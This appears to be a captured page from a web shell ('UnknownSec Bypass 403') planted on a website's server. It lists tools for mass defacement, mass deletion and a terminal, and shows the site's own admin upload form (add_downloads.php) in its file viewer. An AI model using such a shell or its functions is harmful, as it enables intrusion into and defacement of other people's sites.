UnknownSec Bypass
403
:
/
var
/
www
/
santgyaneshwarji
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
add_downloads.php
<?php include "top.php"; include "header.php"; include "menu.php"; ?> <script src="https://code.jquery.com/jquery-2.2.0.min.js"></script> <script type="text/javascript"> $(document).ready(function (e){ $("#uploadForm").on('submit',(function(e){ e.preventDefault(); var flag = true; var inputField1 =document.getElementById("downloadstitle"); if (inputField1.value == "") { flag = false; alert("Please enter file title"); document.getElementById("downloadstitle").focus(); return false; } var inputField4 =document.getElementById("fileToUpload"); if (inputField4.value == "") { flag = false; alert("Please select image"); document.getElementById("fileToUpload").focus(); return false; } var downloadstitle = document.getElementById("downloadstitle").value; try { if (flag == true) { $.ajax({ url: "save_downloads.php", type: "POST", data: new FormData(this), contentType: false, cache: false, processData:false, success: function(data){ if(data==0){ document.getElementById("downloadstitle").value="-"; document.getElementById("fileToUpload").value=null; alert("This page is already exist."); return; } if(data==1) { window.location.href="downloads_list1.php"; } }, error: function(){} }); } } catch (Error) { alert(Error); } return; })); }); </script> <div class="form-w3layouts"> <!-- page start--> <!-- page start--> <div class="row"> <div class="row w3-res-tb"> <div class="col-sm-5 m-b-xs"> <a href="downloads_list.php"><button class="btn btn-sm btn-default"><b>Back to Downloads List</b></button></a> </div> <div class="col-sm-4"> </div> <div class="col-sm-3"> </div> </div> <div class="col-lg-12"> <section class="panel"> <header class="panel-heading"> Downloads </header> <div class="panel-body"> <div class="position-center"> <form enctype="multipart/form-data" id="uploadForm" action="save_downloads.php" method="post"> <div class="form-group"> <label for="exampleInputEmail1">Title</label> <input type="text" class="form-control" name="downloadstitle" id="downloadstitle" placeholder="News Title"> </div> <div class="form-group"> <label for="exampleInputFile">Select File</label> <input type="file" id="fileToUpload" name="fileToUpload" accept="image/* , application/pdf" required> <p class="help-block">Max. Size 200kb (only .jpg, .jpeg, .png files allow)</p> </div> <!--<button name="submit" class="btn btn-info" onclick="return confirm('Are you sure you want to Save?');">Submit</button>--> <input type="submit" class="btn btn-info" onclick="data()" value="Submit"> </form> </div> </div> </section> </div> </div> </div> <?php include "footer.php"; ?>
Copyright © 2025 - UnknownSec